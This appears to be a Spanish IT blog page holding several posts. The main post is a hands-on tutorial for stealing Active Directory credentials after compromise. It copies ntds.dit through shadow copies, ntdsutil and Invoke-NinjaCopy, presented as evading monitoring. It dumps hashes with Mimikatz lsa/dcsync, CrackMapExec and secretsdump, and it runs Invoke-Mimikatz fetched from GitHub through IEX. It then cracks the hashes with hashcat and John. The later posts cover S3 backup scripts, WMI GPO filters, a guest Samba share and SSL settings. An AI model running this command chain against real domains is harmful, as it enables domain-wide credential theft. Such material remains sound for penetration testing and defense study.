16 noviembre, 2019

Passwords cracking en Windows de hashes NTLM ntds.dit de Active Directory

Antes de empezar con la parte práctica de password cracking en sistemas Windows, es recomendable un breve resumen sobre las diferencias entre los tipos de hashes de contraseñas (LM, NTHash o NTLM, NTLMv1, NTLMv2) que almacena Windows en su base de datos local SAM (Security Account Manager) o NTDS.DIT (NT Directory Services) si se trata de controladores de dominio de Active Directory.

Existen dos medios de los cuales se puede realizar la extracción de hashes:
  1. Desde un volcado de memoria en caliente. Por ejemplo MimikatzHot Potato o CrackMapExec (con el parámetro --lsa). Este método no es válido a partir de Windows Server 2016 ya que se implementa la característica de Credential Guard basada en virtualización para LSASS. Sin embargo sigue siendo válido para versiones clientes hasta la actual Windows 10.
  2. Desde un volcado de un fichero de disco como son: La base de datos SAM (%systemroot%\system32\config) en Windows de forma local como NTDS.dit (%systemroot%\NTDS) en el caso de un controlador de dominio de Active Directory, como veremos en esta entrada. 

LM Hash (Lan Manager)

Usado en sistemas Windows 2000/2003 aunque por retrocompatiblidad pueden ser usados en versiones posteriores de Windows. LM es débil e inseguro por diseño, teniendo en cuenta la velocidad de computo de los sistemas actuales, son capaces de probar cientos de miles de contraseñas por segundo por lo que su cifrado lo hace totalmente vulnerable en ataques de fuerza bruta.

Su algoritmo convierte todo de minúsculas a mayúsculas (uppercase) haciendo así un ataque enfocado a este tipo de caracteres, reduciendo las posibles combinaciones y el tiempo de cálculo.

Si la contraseña es inferior a 7 caracteres se rellena con caracteres NULOS. Y las contraseñas no pueden ser superiores a 14 caracteres.

Si la contraseña tiene más de 7 caracteres se divide en dos bloques, en el supuesto de utilizar una contraseña de 10 caracteres el ataque de fuerza bruta se realizará para un primer bloque de 7 y otro para un segundo bloque de 3 caracteres restantes, ambos bloques tienen el mismo espacio y en el caso del segundo, ya sea 1 solo caracter o 7 ocuparía el mismo espacio del hash. Si se utilizara una contraseña de 14 caracteres en vez de elevar exponencialmente el tiempo de ataque, simplemente se tardaría el doble de tiempo, por lo que daría igual usar una contraseña con una de 7 caracteres como una de 14 que sería la longitud máxima soportada para el almacenamiento de hashes LM.

Ejemplo de LM Hash: <35ABD1B8C5128FC8><6ABCF57855D56AC9>. Sin los signos <>. Simplemente se representó así para mostrar lo que sería un primer y segundo bloque del hash LM.

Más información sobre LM Hash (Lan Manager):

NT Hash o NTLM (New Technology Lan Manager)

A partir de sistemas Windows 2008/Vista se usa por defecto NTLM (aunque por compatibilidad se puede seguir haciendo uso de LM).

NTLM Es la mejora de cifrado respecto a LM. NTLM diferencia entre mayúsculas y minúsculas, calcula el hash cifrando con el estándar MD4. Pero por defecto sigue almacenando las contraseñas cifradas en LM y NTLM en la misma base de datos del fichero SAM  que se encuentra en el path "C:\Windows\System32\config\SAM".
  • Almacenamiento sin salt (igual que LM).
  • Contraseñas más de 14 caracteres.
  • Crackeables: RT Rainbow Tables (no salt) y BF Brute Force en función del tamaño (más de 5 caracteres RT). Ophcrack (distro Linux) mediante RT.
Ejemplo de NT Hash (NTLM): 4B6A9B02C6F09P9BD265F388BA951E2B

Actualmente existen varias versiones mejoradas del protocolo de autenticación desafío-respuesta. NTLMv1 y NTLMv2https://en.wikipedia.org/wiki/NT_LAN_Manager#NTLMv1

Opciones de ejecución de código remoto

Hay varias formas diferentes de ejecutar comandos de forma remota en un controlador de dominio,  suponiendo que se ejecuten con los derechos adecuados. Los métodos de ejecución remota más fiables incluyen PowerShell (aprovecha WinRM) o WMI.

WMI
wmic /node:COMPUTER/user:DOMAIN\USER /password:PASSWORD process call create "COMMAND"
PowerShell (WMI)
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList $COMMAND -ComputerName $COMPUTER -Credential $CRED
WinRM
winrs -r:COMPUTER COMMAND
PowerShell Remoto
Invoke-Command -computername $COMPUTER -command {$COMMAND}
New-PSSession -Name PSCOMPUTER -ComputerName $COMPUTER; Enter-PSSession -Name PSCOMPUTER

1. Extraer los ficheros ntds.dit y SYSTEM de un controlador de dominio

Después de una post-explotación, conseguir acceso a un sistema y una escalada de privilegios. Podemos realizar un dump de los hashes NTLM a partir del fichero ntds.dit. Este fichero es la base datos encargada de almacenar los hashes de las contraseñas de usuarios de Active Directory.

El primer paso para la extracción de hashes de contraseñas de usuarios de Active Directoy, es obtener una copia del archivo ntds.dit. El problema es que no podemos copiar este fichero sin más, ya que está constantemente en uso y bloqueado por AD.

Figura 1: Error al copiar el archivo en uso ntds.dit de un controlador de dominio.

Para volcar y/o copiar el fichero ntds.dit podemos usar cualquiera de estos métodos.
  • Servicio VSS: Volume Shadow Copies a través del comando VSSAdmin.
  • IFM (Install From Media) de NTDSUTIL.
  • Invoke-NinjaCopy - módulo PowerSploit.
  • Mimikatz lsa y dcsyn (volcado de memoria de credenciales, no copia ficheros).
  • Invoke-Mimikatz - módulo PowerSploit (volcado de memoria de credenciales, no copia ficheros).
  • CrackMapExec.

Método 1: Servicio VSS - Volume Shadow Copy: Usando el comando VSSAdmin 

El servicio VSS (Volume Shadow Copy) o servicio de instantáneas de volumen de Windows es el encargado de crear backups a modo de instantáneas temporales. Se puede usar el comando vssadmin para la gestión de este servicio de instantáneas. De modo que después se puedan copiar de un volumen de instantánea en el que no estará constantemente en uso por AD.

Crear un volumen de instantánea del disco C:
vssadmin create shadow /for=C:
copy <Nombre_Volumen_Instantanea>\Windows\System32\config\SYSTEM C:\export\SYSTEM
copy <Nombre_Volumen_Instantanea>\Windows\NTDS\ntds.dit C:\export\ntds.dit
Eliminar el volumen de la instantánea del disco C:
vssadmin list shadows
vssadmin delete shadows /shadow={Id_Instantanea}
Figura 2: Copiar los ficheros en uso ntds.dit y SYSTEM con VSSAdmin de un controlador de dominio.

Método 2: IFM (Install From Media) de NTDSUTIL

El método IFM (Install From Media) usa los datos en los medios de instalación para instalar AD DS, lo que elimina la necesidad de replicar todos los objetos de un controlador de dominio asociado.

NTDSUtil es la utilidad de comandos para trabajar de forma nativa con la BD de AD (ntds.dit) y permite la creación de conjuntos IFM para DCPromo. IFM se utiliza con DCPromo para "Instalar desde los medios", de modo que el servidor que se promueve no necesita copiar los datos del dominio a través de la red desde otro DC.

Al crear un IFM, se toma una instantánea de VSS, se monta y el archivo ntds.dit y los datos asociados se copian en la carpeta de destino (c:\temp).
ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q
Figura 3: Usando IFM de ntdsutil para exportar ntds.dit y SYSTEM de un controlador de dominio. 

Método 3: Invoke-NinjaCopy - módulo PowerSploit

Otra forma de copiar archivos en uso por el sistema o en este caso Active Directory es usar el cmdlet Invoke-NinjaCopy incluido en el módulo PowerSploit, este copia un archivo de un volumen NTFS sin procesar, es otra ofrma de copiar archivos bloqueados por Active Directory sin alertar a ningún sistema de monitoreo.

Instalar el módulo PowerSploit:
  • Descargamos el módulo
  • Copiamos el directorio en una de las rutas por defecto donde se almacenan los módulos de PowerShell. Podemos consultar los paths listando la variable de entorno: $Env:PSModulePath.
  • Importamos el módulo: Import-Module PowerSploit.
  • Para obtener todos los cmdlets disponibles: Get-Command -Module PowerSploit.
Invoke-NinjaCopy -path C:\Windows\NTDS\ntds.dit -Verbose -LocalDestination C:\export\ntds\ntds.dit
Figura 4: Copiar el fichero ntds.dit con Invoke-NinjaCopy de un controlador de dominio.

Método 4: Mimikatz lsa y dcsync (solo volcado de memoria de los hashes de credenciales)

Este método no realiza un copia de los ficheros ndts.dit y SYSTEM. Solamente realiza un volcado de memoria si alguno de los usuarios a iniciado sesión en el equipo o controlador de dominio.

Usando LSASS (Local Security Authority Subsystem Service):
mimikatz lsadump::lsa /inject exit
Figura 5: Mimikatz - Volcado de memoria usando lsass.

Usando dcsync:
Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.adsecurity.org /user:Administrator" exit
Figura 6: Mimikatz - Volcado de memoria de un usuario usando dcsync. 

Método 5: Invoke-Mimikatz - módulo PowerSploit (solo volcado de memoria de los hashes de credenciales)

Invoke-Mimikatz es un componente de PowerSploit. Aprovecha Mimikatz 2.0 e Invoke-ReflectivePEInjection para cargar reflexivamente la DLL de Mimikatz (incluida en el script) en la memoria. Esto permite volcar credenciales sin tener que escribir el binario de Mimikatz en el disco.

Descargar e importar la función en memoria de la instancia actual de PowerShell.
IEX (Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1' -UseBasicParsing).Content

Ejecutar Invoke-Mimikatz usando LSASS.

Invoke-Mimikatz -Command '"privilege::debug" "LSADump::LSA /inject" exit'

Ejecutar en un equipo remota (PowerShell remoto debe estar permitido y configurado):

Invoke-Mimikatz -Command '"privilege::debug" "LSADump:LSA /inject"' -Computer DC01.domain.local 

Método 6: CrackMapExec

Otra alternativa es hacer uso de CrackMapExec. En este caso debemos tener las credenciales de una cuenta privilegiada local o de dominio sobre el DC. Dependiendo del parámetro que indiquemos disponemos de varias opciones de volcado de hashes ya sea una lectura en memoria o copiando el contenido del fichero ntds.dit a una máquina remota que en este caso será una Kali.

El parámetro que nos interesa sería a nivel de dominio sería el --ntds que se muestra en el figura 6. Pero mostraré las alternativas para un uso local como el volcado de la SAM (Security Account Manager).
  • Obteniendo hashes desde un volcado de memoria leyendo lsass.exe (parámetro --lsa).
crackmapexec smb IP_DC -u 'Dominio\UserAdmin' -p 'PASSWORD' --lsa
Figura 7: Volcado de memoria con CrackMapExec --lsa.
  • Obteniendo la base de datos local SAM (parámetro --sam).
crackmapexec smb IP_DC -u 'Dominio\UserAdmin' -p 'PASSWORD' --sam
Figura 8: Volcando de memoria con CrackMapExec --sam.
  • Obteniendo los hashes de todas las cuentas de dominio Active Directory desde el fichero ntds.dit (parámetro --ntds).
crackmapexec smb IP_DC -u 'Dominio\UserAdmin' -p 'PASSWORD' --ntds
Figura 9: Volcado del fichero ntds.dit de un controlador de dominio.

2. Volcado de hashes NTLM del fichero ntds.dit

Podemos volcar los hashes NTLM del fichero ntds.dit de dos formas:

Método 1: Módulo DSInternals - Usando los cmdlets Get-BootKey y Get-ADDBAccount

Instalar módulo DSInternals.
Install-Module -Name DSInternals -Force
Import-Module -Name DSInternals
Import-Module -Name ActiveDirectory
Get-BootKey lee la clave de registro de Windows del sistema de arranque SYSTEM del registro de Windows "HKEY_LOCAL_MACHINE\SYSTEM" o también puede hacerse referenciando el propio fichero SYSTEM "%systemroot%\System32\config\SYSTEM".

Podemos exportar la clave de registro o copiar el fichero SYSTEM a un directorio en el que no esté en uso con alguna de las técnicas mencionadas anteriormente en el apartado 1.

Para poder volcar los hashes NTLM de los usuarios de AD y leerlos en plain-text del fichero ntds.dit. Obtenemos la clave de registro SYSTEM con Get-BootKey y se la pasamos con el parámetro -BooKey en Get-ADDBAccount.
reg save hklm\system C:\export\system
$key = Get-BootKey -SystemHiveFilePath C:\export\system
Get-ADDBAccount -All -BootKey $key -DBPath C:\export\ntds.dit
Es probable que al intentar leer el fichero ntds.dit se muestre el error "The database is not in a clean state". Hacemos uso de la utilidad de comandos esentutl para reparar la base de datos de Active Directory.
esentutl /p C:\export\ntds.dit /!10240 /8 /o
A continuación volvemos a ejecutar Get-ADDBAccount.

Figura 10: Get-ADDBAccount - Obtener información de las cuentas de usuarios de AD.

Podemos simplificar la información de salida de las cuentas de usuarios de AD redireccionándola a un fichero y obtener los hashes de contraseñas asociados a los nombres de las cuentas de AD que se corresponde al atributo -SamAccountName-.
Get-ADDBAccount -All -BootKey $key -DBPath C:\export\ntds.dit > C:\export\hashes_tmp.txt
Select-String -Path C:\export\hashes_tmp.txt -Pattern '(NTHash)|(SamAccountName:)' > C:\export\hashes.txt
Remove-Item C:\export\hashes_tmp.txt
Figura 11: Recopilación de hashes NTLM del fichero ntds.dit de las cuentas de usuarios de AD.

Método 2: Kali - Impacket-secretsdump (script en Python -secretsdump.py-)

Otra forma de realizar el volcado de hashes NTLM del fichero ntds.dit es usar un script en Python llamado secretsdump.py. Este se integra en uno de los módulos auxiliary de escaneo Impacket-secretsdump de Metasploit.

En este caso al usar el fichero de ntds.dit de forma local ejecutamos Impacket-secretsdump desde el path "/usr/share/impacket" en una terminal de Kali.
impacket-secretsdump -system /root/hashes/SYSTEM -ntds /root/hashes/ntds.dit LOCAL -outputfile /root/hashes/hashes.txt
Figura 12: Volcado de hashes NTLM del fichero ntds.dit con Impacket-secretsdump. 

Método 3: Nishang Framework - Get-PassHashes.ps1 (script en PowerShell)

También se puede realizar un volcado de hashes con uno de los script del framework de Nishang Get-PassHashes.ps1

Nishang es un framework muy potente para PowerShell que contiene multitud de scripts para escaneo, gathering, escalada de privilegios, pivoting, etc.

Figura 13: Nishang Framework - Volcado de hashes NTLM con Get-PassHashes.ps1.

3. Cracking con Hashcat y John The Ripper: Descifrado de hashes NTLM para obtener las contraseñas de usuarios de AD

Podemos descifrar hashes utilizando tres posibles técnicas.
  1. Ataque por fuerza bruta (Brute-force attack).
  2. Ataque por diccionarios o Wordlist.
  3. Ataque por Rainbow tables.

Hashcat

En este caso como prueba de concepto se empleará un ataque por diccionario usando la herramienta Hashcat. Integrada en Kali (/usr/bin/hashcat).

Una vez redireccionamos la salida de los hashes a un fichero solamente quedaría descifrar dichos hashes para obtener el valor de cadena en plain-text de las contraseñas de cuentas de usuarios de AD.
hashcat -m 1000 /root/hashes/hashes.txt /root/breachcompilation.txt -r /usr/share/hashcat/rules/InsidePro-PasswordsPro.rule --force
Donde "breachcompilation.txt" es el diccionario -fichero que contiene el wordlist- e "InsidePro-PasswordsPro.rule" será el tipo de regla utilizada para el proceso de password cracking.

En la siguiente captura vemos como se muestra el hash:contraseña. De esta manera podemos relacionar el hash con el usuario al que se corresponde a través del fichero que se creo en el apartado 2 donde se mostraba el volcado de hashes NTLM.

La estructura estándar sería al como:
<Nombre de usuario>:<ID de usuario>:<LM hash>:<NT hash>:<Comment>:<Home Dir>:
Figura 14: Ataque por diccionario con Hashcat - Password cracking de hashes NTLM de Active Directory.

John The Ripper

Otra opción es realizar el ataque por fuerza bruta o por diccionario con la herramienta John The Ripper. Integrada en Kali (/usr/sbin/john).

Obtener la lista de los formatos disponibles.
john --list=formats
Siguiendo el ejemplo anterior usado en Hashcat. Para un tipo de formato de hashes NTLM (--format=NT) usando un diccionario.
john --format=NT /root/hashes/hashes.txt --wordlist=/root/breachcompilation.txt --rules
Si se descifran contraseñas, se almacenan en $JOHN/john.pot. El archivo john.pot no es leído en un formato en claro. Para leer este fichero se debe usar el parámetro --show seguido del fichero donde están almacenados los hashes.
john --show --format=NT /root/hashes/hashes.txt
Figura 15: Ataque por diccionario con John The Ripper - Password cracking de hashes NTLM de Active Directory.

Podemos seguir el avance a tiempo real del proceso de cracking consultando el fichero $JOHN/john.log.
tail -f .john/john.log
Figura 16: Consultar el log de John para ver a tiempo real el proceso de cracking.

4. Hash cracking Online: Comprobar si los hashes NTLM ya son conocidos en bases de datos de Internet

Otra forma de realizar el cracking de passwords una vez conocemos los hashes NTLM. Sería consultar a través de varios sitios web disponibles en internet si el hash que tienen en las wordlist de estas webs hace match con el que se le referencia, si así directamente nos dará como resultado la cadena de password encontrada.

Existen multitud de webs para realizar estas comprobaciones como por ejemplo:
Figura 17: Descifrar hashes NTLM comparándolos con hashes ya conocidos en sitios webs.

5. Comprueba si ya existe el hash de tu contraseña antes de usarla

Un motivo a tener en cuenta en el momento de crear contraseñas, es comprobar si el hash de la contraseña que utilizamos o vamos utilizar ya es conocido y está público en internet. Si ya existe en alguna wordlist de los sitios webs comentados en el apartado 4. Obviamente podemos realizar esta comprobación en más sitios, las webs anteriores solo fueron un ejemplo.

Algo que nos puede dar un poco más de confianza en la fortificación de nuestras passwords, sería comprobarlas previamente generando el hash NTLM a partir de tu contraseña. Lógicamente es un pequeño extra de seguridad, no lo hace ni mucho menos más seguro. Simplemente demorarías el tiempo de un ataque por diccionario a un atacante y la facilidad de obtener una contraseña.

Algunas webs que podemos usar para la generación de hashes NTLM:
Figura 18: Generar hashes NTLM a partir de una contraseña.

Saludos!

Autor: Adrián Lois

28 septiembre, 2019

Backups: Sincronizar datos locales a un bucket de Amazon S3 usando AWSCLI en PowerShell y Bash

Hace tiempo que vengo usando este método de realizar mis backups personales, aunque siendo correctos, por definición no se trata realmente del concepto de "Backups" sino de un sistema sincronizado. Si usando el mismo método almacenara copias durante un periodo de tiempo determinado con una autoeliminación de los backups más viejos es decir, una política de retención. En ese caso si estaríamos aplicando el concepto de backups.

Esta es una forma sincronizar datos en dos sitios o ubicaciones distintas. Por un lado tenemos los datos locales que queremos salvaguardar y por otro un sitio cloud donde realizaremos la sincronización de dichos datos en un momento programado y definido previamente para que se realice después de manera automática.

Se trata de un script que realiza un push de los datos locales a una ubicación remota en Amazon S3 usando un almacenamiento en un bucket. El script lo he desarrollado tanto para PowerShell como para Bash scripting, de forma que se pueda utilizar en sistemas Windows, Linux o MacOS.

Bash Shell Script
  1. Instalación y configuración de AWSCLI Linux
  2. Modificación de variables del bash script backup-aws-S3.sh
  3. Instalación y configuración de SSMTP
  4. Desactivar alertas automáticas de cron y programar tarea para la ejecución de un script sh
  5. Envío del fichero de log a una cuenta Gmail
PowerShell
  1. Instalación y configuración de AWSCLI Windows
  2. Modificación de variables del PowerShell script backup-aws-S3.ps1
  3. Definir sintaxis de directorios
  4. Envío del fichero de log a una cuenta Gmail
  5. Llamada a fichero PowerShell .ps1 desde un fichero de proceso por lotes .bat
En mi repositorio de Gihub comento en más detalle el procedimiento a seguir.
Figura 1: Envío de logs al email de los backups en AWS en un bucket S3.

Evitar escribir la password a fuego en el script de Powershell ps1

Crear un fichero con la password cifrada:
"MiPassword" | ConvertTo-SecureString -AsPlainText -Force | ConvertFrom-SecureString | Out-File "C:\PATH\backup_aws_s3.pass"

PowerShell (Windows)

# Fecha y Hora
$fechaHoraActual = Get-Date -uformat "%d/%m/%Y - %H:%M:%S"
$fechaActual = Get-Date -uformat "%d-%m-%Y"

# Email
$usuarioEmail = "usuarioEmail@gmail.com"
$passwdEmailFile = "C:\PATH\backup-aws-s3.pass"
$asuntoEmail = "asuntoEmail"

# Obtener password cifrada del fichero y establecer credenciales
$secPasswdEmail = Get-Content $passwdEmailFile| ConvertTo-SecureString
$credencialesEmail = New-Object System.Management.Automation.PSCredential ($usuarioEmail, $secPasswdEMail)

# Paths
# Compatibles en sistemas Windows: "C:/pathLocal/datos/" o "C:\\pathLocal\\datos\\"
$pathLocalDatos = "C:\\pathLocal\\datos\\"
$pathRemotoBucketS3 = "s3://bucketS3/backup/"
$backupLog = "backup_$fechaActual.log"

# Comprobar si existen ficheros de log pasados del backup
if (Test-Path "*backup*.log") {
    Remove-Item -Path "*backup*.log" -Recurse -Force
    }

# Mostrar fecha y hora del comienzo del proceso de backup al princpio del log
Write-Output "Backup comienza: $fechaHoraActual" > $backupLog
Write-Output "# # # # # # # # # # # # # # # # # # # #`n" >> $backupLog

# Sincronizar datos locales a bucket S3 de AWS
aws s3 sync $pathLocalDatos $pathRemotoBucketS3 --sse AES256 --delete --include "*" >> $backupLog

Write-Output "`n# # # # # # # # # # # # # # # # # # # #" >> $backupLog
# Mostrar fecha y hora de la finalización del proceso de backup al final del log
# Resetear la variable $fechaHoraActual para obtener la hora actual hasta este momento del proceso de backup
$fechaHoraActual = Get-Date -uformat "%d/%m/%Y - %H:%M:%S"
Write-Output "Backup finaliza: $fechaHoraActual" >> $backupLog

# Body Email
$cuerpoEmail = [system.io.file]::ReadAllText($backupLog)

# Alternativas usando Get-Content
# $cuerpoEmail = Get-Content "$backupLog" | Out-String
# $cuerpoEmail = Get-Content "$backupLog" -Raw

# Envío del fichero log adjunto vía Email usando Gmail.
Send-MailMessage -From $usuarioEmail -To $usuarioEmail -Subject "$asuntoEmail - $fechaHoraActual" -Body "$cuerpoEmail" -Attachments "$backupLog" -SmtpServer smtp.gmail.com -UseSsl -Credential $credencialesEmail
exit

Bash (Linux y MacOS)

# Fecha y Hora
fechaHoraActual="$(date +'%d/%m/%Y - %H:%M:%S')"
fechaActual="$(date +'%d-%m-%Y')"

# Email
envioEmailCuentaUsuario="emailCuentaUsuario@gmail.com"
asuntoEmail="asuntoEmail"
cuerpoEmail="cuerpoEmail"

# Paths
pathLocalDatos="/pathLocal/datos/"
pathRemotoBucketS3="s3://bucketS3/backup/"
backupLog="backup_$fechaActual.log"

# Comprobar si existen ficheros de log pasados del backup
if [ -f "*backup*.log" ];
then
    rm -f "*backup*.log"
fi

# Mostrar fecha y hora del comienzo del proceso de backup al princpio del log
echo "Backup comienza: $fechaHoraActual" > $backupLog
echo -e "# # # # # # # # # # # # # # # # # # # #\n" >> $backupLog

# Sincronizar datos locales a bucket S3 de AWS
aws s3 sync $pathLocalDatos $pathRemotoBucketS3 --sse AES256 --delete --include "*" >> $backupLog

echo -e "\n# # # # # # # # # # # # # # # # # # # #" >> $backupLog
# Mostrar fecha y hora de la finalización del proceso de backup al final del log
# Resetear la variable fechaHoraActual para obtener la hora actual hasta este momento del proceso de backup
fechaHoraActual="$(date +'%d/%m/%Y - %H:%M:%S')"
echo "Backup finaliza: $fechaHoraActual" >> $backupLog

# Elegir una opción de envío (a o b)

# a) Envío del fichero log adjunto vía Email usando el comando mail.
echo "$cuerpoEmail" | mail -s "$asuntoEmail" "$envioEmailCuentaUsuario" -A "$backupLog"

# b) Envío del contenido del fichero log en el cuerpo del Email usando el comando mail.
cat "$backupLog" | mail -s "$asuntoEmail" "$envioEmailCuentaUsuario"
Como ya comenté anteriormente en el repositorio de Github hay más información paso a paso de como implementar esta forma de sincronizar datos locales un bucket de Amazon S3.

Saludos!

Autor: Adrián Lois

04 septiembre, 2019

WMI Explorer: Restricción en las políticas de grupo GPO aplicando filtros WMI y querys en SCCM System Center

Los filtros WMI (Instrumental de administración de Windows) en las Políticas de grupo (GPO) permiten aplicar políticas de manera más flexible a los clientes mediante el uso de diferentes reglas. Un filtro WMI es un conjunto de consultas WMI (se usa el lenguaje de consulta WMI/WQL) que se puede usar para apuntar a las máquinas a las que se debe aplicar una política de grupo específica.

Por ejemplo, usando el filtro WMI GPO, puede aplicar una política vinculada a una OU solo a las máquinas que ejecutan Windows 10 (una política con dicho filtro WMI no se aplicará a las computadoras con otras versiones de Windows).

¿Para qué se utilizan los filtros WMI en las GPO?

WMI se puede usar cuando varios objetos de dominio (usuarios o equipos) se encuentran en la estructura AD plana en lugar de la unidad organizativa separada, o si se necesita aplicar políticas de grupo, de acuerdo con la versión del sistema operativo, configuración de red, software instalado o cualquier otro criterio que se pueda seleccionar usando WMI. Cuando el cliente procesa dicha política de grupo, Windows verificará el cumplimiento de la consulta WMI especificada, y si se cumplen las condiciones del filtro, la GPO se aplicará en esa máquina.

Lo más habitual en el uso de filtros WMI es distinguir sistemas operativos. Para estes casos las consultas deben hacerse en base al tipo de producto y el tipo de versión del OS.

Tipo de producto:
  • ProductType 1 = Desktop OS
  • ProductType 2 = Server OS - Solo Domain Controller
  • ProductType 3 = Server OS - Excepto Domain Controller
Versiones de sistema operativo:
  • Windows Server 2019, Windows Server 2016 y Windows 10 = 10.%
  • Windows Server 2012 R2 y Windows 8.1 = 6.3%
  • Windows Server 2012 y Windows 8 = 6.2%
  • Windows Server 2008 R2 y Windows 7 = 6.1%
  • Windows Server 2008 y Windows Vista = 6.0%
  • Windows Server 2003 = 5.2%
  • Windows XP = 5.1%
  • Windows 2000 = 5.0%
Tipo de arquitectura:
  • 32 bits = Win32_Processor where AddressWidth="32" // OSArchitecture="32-bit"
  • 64 bits = Win32_Processor where AddressWidth="64" // OSArchitecture="64-bit"
Algunos ejemplos de filtros WMI aplicados a GPOs:

Windows 7
select * from Win32_OperatingSystem where Version like "6.1%" and ProductType="1"
Windows 10 
select * from Win32_OperatingSystem where Version like "10.%" and ProductType="1"
Windows Server 2016
select * from Win32_OperatingSystem where Version like "10.0%" and ProductType="3"
Windows Server 2019
select * from Win32_OperatingSystem where BuildNumber >= 17763 and ProductType="3" and OSArchitecture="64-bit" 
Cualquier Windows Desktop OS de 32-bit 
select * from Win32_OperatingSystem where ProductType="1" and not OSArchitecture="64-bit" 
No ejecutar en Servidores Windows
select ProductType from Win32_OperatingSystem where (ProductType <> "2") and (ProductType <> "3")

En la siguiente imagen se puede ver un ejemplo de filtrado WMI de una sentencia WQL para consultar la versión de OS Windows 10.

Figura 1: Creación de filtros WMI en la Group Policy Management Console.

Después de crear el filtro WMI, elegimos el filtro WMI y lo aplicamos a una GPO existente.

Figura 2: Aplicar filtro WMI a una GPO existente.

WMI Explorer Tool y como nos puede ayudar a encontrar lo que buscamos para realizar Querys en SCCM.

Después de hacer una introducción a la restricciones en las polítcas de grupo mediante filtros WMI. En esta entrada quería dar a conecer el potencial de WMI Explorer y como nos puede ayudar para encontrar los espacios de nombres, instancias, consultas, clases, propiedades, métodos, parámetros de entrada y de salida necesarios para construir sentencias específicas WQL. Aunque también podemos disponemos de una zona de scripting para VBScript y Powershell.

WMI Explorer permite también conectarse a equipos remotos de una red de dominio que tengan el servicio WMI habilitado y permisos para la administración y acceso remoto WMI control.

En mi caso hice uso de esta herramienta para extraer los namespaces y propiedades WMI para consultas sobre el servicio DNS que posteriormente usé para realizar Queys en SCCM (System Center Configuration Manager).

Un ejemplo del resultado de una consulta WQL conectándose a un equipo remoto del dominio.

Figura 3: WMI Explorer - Ejemplo de consulta WQL en equipo remoto.

Búsqueda en una máquina local de propiedades recusivamente con el criterio "DNS".

Figura 4: WMI Explorer - Búsqueda de clases, propiedades namespaces, etc. en base un criterio de búsqueda.

Métodos encontrados en una clase concreta, parametros de entrada y parámetros de salida.

Figura 5: WMI Explorer - Resultado de clases, métodos y parámetros.
Ejecución de script VBScript o Powershell en texto o command promt en referencia a la clase y métodos encontrados.

Figura 6: WMI Explorer - Ejeción de scripting VBScript o Powershell en clases y métodos WMI.

Conclusiones

Es una herramienta en la que de la que se puede extraer mucha información y ayudarnos en la elaboración de consultas WQL y recolección de la información ordenada de una máquina local o remota.


Saludos!

26 agosto, 2019

Compartir recursos con Samba sin usuario y sin password entre Linux y Windows

Para poder compartir recursos Samba desde Linux a Windows sin usar ningún login usuario/password de modo que sea un acceso invitado, debemos configurar una serie de directivas en el fichero de configuración de Samba.

Instalación de Samba (en el caso de distribuciones basadas en Debian).
sudo apt install samba samba-client smbfs
Creamos la carpeta que vamos a compartir. Un usuario externo que tiene acceso al equipo a través de Samba, el sistema le da como nombre de usuario nobody y como nombre de grupo nogroup, por lo que hacemos propietarios de esta carpeta a los usuarios externos.
sudo mkdir /mnt/publica
sudo chmod 777 /mnt/publica
sudo chown nobody:nogroup /mnt/publica
Editamos el fichero de configuración de Samba.
/etc/samba/smb.conf
Añadimos o modificamos las siguientes directivas. Workgroup será el nombre del grupo de trabajo (en caso de no formar parte de un entorno de dominio) y permitimos el acceso a invitados.
[global]
   workgroup = WORKGROUP
   usershare allow guests = yes
Establecemos el recurso compartido.
[NombreRecursoCompartido]
   comment = Mi recurso compartido
   path = /mnt/publica
   browseable = Yes
   writeable = Yes
   public = yes

security = SHARE
  • browseable: Atravesar y navegar entre las subcarpetas del recurso compartido.
  • writeable: Escribir en el recurso compartido.
  • public: el sinónimo de "guest ok", permite el ver y acceder al recurso comapartido de manera pública.
  • security: Por defecto suele estar comentado como ";   security = user", permite que se pueda acceder sin establecer ningún nombre de usuario.
La directiva "security" es la que realmente permita un acceso tipo invitado desde cualquier otro sistema que no sea Linux ya se Windows o MacOS.

Debe colocarse sin espacios y al final del fichero de configuración smb.conf, un salto de línea después del último recurso compartido.

Aclaro que según los desarrolladores de Samba no recomiendan el uso de esta directiva por motivos de seguridad. https://web.mit.edu/rhel-doc/4/RH-DOCS/rhel-rg-es-4/s1-samba-security-modes.html.

Reiniciamos el servidor Samba para aplicar los cambios.
sudo systemctl restart samba
Hago referencia a uno de mis repositorios sobre un caso práctico de esto: https://github.com/adrianlois/rpi-proftpd-samba-apache2-nginx/tree/master/samba.

Saludos!

01 agosto, 2019

Renovar certificados SSL: Comprabar si el certificado, clave privada y el CSR coinciden (OpenSSL)

Al renovar los certificados de un servidor web podemos encontrarnos con errores en el momento de sustitución de los ficheros de certificados.

Apache + configuración SSLCipher strong
# SSLCiphers strong encryption
SSLProtocol all -SSLv3 -TLSv1 -TLSv1.1
SSLCipherSuite ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256
SSLHonorCipherOrder on
SSLCompression off
SSLSessionTickets off

# SSL certs config
SSLEngine on
SSLCertificateFile /etc/apache2/ssl/web/public.crt
SSLCertificateKeyFile /etc/apache2/ssl/web/private.key
SSLCertificateChainFile /etc/apache2/ssl/web/intermediate.crt
Nginx + configuración SSLCipher strong
ssl on;
ssl_protocols TLSv1 TLSv1.1 TLSv1.2;

# Fix 'The Logjam Attack'.
ssl_ciphers ECDH+AESGCM:DH+AESGCM:ECDH+AES256:DH+AES256:ECDH+AES128:DH+AES:ECDH+3DES:DH+3DES:RSA+AESGCM:RSA+AES:RSA+3DES:!aNULL:!MD5;
ssl_prefer_server_ciphers on;
ssl_dhparam /etc/ssl/dh2048_param.pem;

#SSL certs config
ssl_certificate /etc/nginx/ssl/web/intermediate.crt;
ssl_certificate_key /etc/nginx/ssl/web/private.key;

CA Bundle

